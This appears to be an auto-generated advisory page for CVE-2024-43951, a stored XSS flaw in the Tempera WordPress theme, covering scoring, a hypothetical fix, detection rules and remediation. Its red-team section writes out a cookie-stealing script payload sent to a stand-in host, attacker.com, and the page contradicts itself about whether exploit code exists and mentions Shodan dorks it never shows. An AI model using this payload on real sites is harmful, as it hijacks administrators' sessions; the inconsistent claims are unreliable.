CVE-2024-43951
Executive Summary
CVE-2024-43951 is a Stored Cross-Site Scripting (XSS) vulnerability in the Tempera WordPress theme developed by CryoutCreations. The vulnerability affects all versions up to and including 1.8.2. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into the theme’s settings or content fields, which is then stored and executed in the browsers of other users (including administrators) when they view the affected page. This can lead to session hijacking, defacement, or redirection to malicious sites.
Since this is a WordPress theme vulnerability, the attack surface is limited to sites running the Tempera theme. No public exploit code or proof-of-concept has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the lack of a patch from the vendor increases the risk for unmaintained installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a WordPress theme distributed via the official WordPress theme repository. Users should verify they are not using an outdated version of the Tempera theme and consider switching to a maintained alternative if no patch is provided.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
- User Interaction (UI): Required (R) – Victim must visit the compromised page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Base Score: 6.5 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
Deep Dive & Mechanics
The vulnerability resides in the Tempera theme’s handling of user-supplied input within theme settings or customizer fields. The theme fails to properly sanitize and escape output when rendering stored data, allowing an attacker with contributor-level access to inject malicious HTML/JavaScript.
Attack Flow:
- An attacker logs in as a contributor or higher.
- The attacker navigates to a theme setting (e.g., custom CSS, footer text, or widget area) that accepts user input.
- The attacker injects a payload such as
<script>alert('XSS')</script>. - The payload is stored in the WordPress database without proper sanitization.
- When an administrator or other user views the affected page, the script executes in their browser.
Root Cause: The theme uses echo or the_* functions without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses().
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical fix based on standard WordPress security practices.
Vulnerable Code (example from theme’s footer.php):
<?php echo get_theme_mod('tempera_footer_text'); ?>
Patched Code:
<?php echo esc_html( get_theme_mod('tempera_footer_text') ); ?>
The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site running Tempera <= 1.8.2.
- A contributor-level account (or higher).
Steps:
- Log in to the WordPress admin panel.
- Navigate to Appearance > Customize or Settings > Tempera Options.
- Locate a text field (e.g., "Footer Text" or "Custom CSS").
- Inject the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the changes.
- Wait for an administrator to visit the frontend page where the payload is rendered.
Expected Outcome: The administrator’s session cookie is exfiltrated to the attacker’s server.
Blue Team (Defender)
Detection:
- Monitor for unusual changes to theme settings via audit logs.
- Look for suspicious JavaScript in the
wp_optionstable (option nametheme_mods_tempera). - Use a Web Application Firewall (WAF) to block common XSS patterns.
Hunting Query (MySQL):
SELECT * FROM wp_options WHERE option_name = 'theme_mods_tempera' AND option_value LIKE '%<script%';
Indicators of Compromise (IOCs)
- File:
/wp-content/themes/tempera/footer.php(or other template files) containing unsanitizedechostatements. - Database:
wp_optionstable withoption_name = 'theme_mods_tempera'containing<script>tags. - Network: Outbound HTTP requests to attacker-controlled domains containing
cookie=parameters. - Logs: WordPress debug log entries showing
wp_ksesoresc_htmlfailures.
Detection Engineering
YARA Rule
rule CVE_2024_43951_Tempera_XSS {
meta:
description = "Detects unsanitized echo in Tempera theme files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-43951"
strings:
$unsafe_echo = /echo\s+(get_theme_mod|get_option)/
$theme_file = "tempera"
condition:
$unsafe_echo and $theme_file
}
Sigma Rule
title: CVE-2024-43951 - Stored XSS in Tempera Theme
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress theme settings
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "/wp-admin/admin-ajax.php"
http.body|contains: "<script>"
condition: selection
falsepositives:
- Legitimate use of JavaScript in theme settings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-43951 - Stored XSS in Tempera Theme"; flow:to_server,established; content:"/wp-admin/"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Tempera theme and switch to a maintained alternative (e.g., Twenty Twenty-Four).
- Update to the latest version if a patch becomes available.
- Remove any stored malicious payloads from the database:
UPDATE wp_options SET option_value = '' WHERE option_name = 'theme_mods_tempera' AND option_value LIKE '%<script%';
Long-term Measures:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce the principle of least privilege for WordPress user roles.
- Regularly audit theme and plugin code for security vulnerabilities.
- Use WordPress security plugins (e.g., Wordfence) to monitor for XSS attempts.
Workaround:
If the theme cannot be replaced, manually patch the vulnerable files by adding esc_html() or wp_kses() to all echo statements that output user-controlled data.
Report generated by Valters IT DevSecOps AI. For educational and defensive purposes only.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.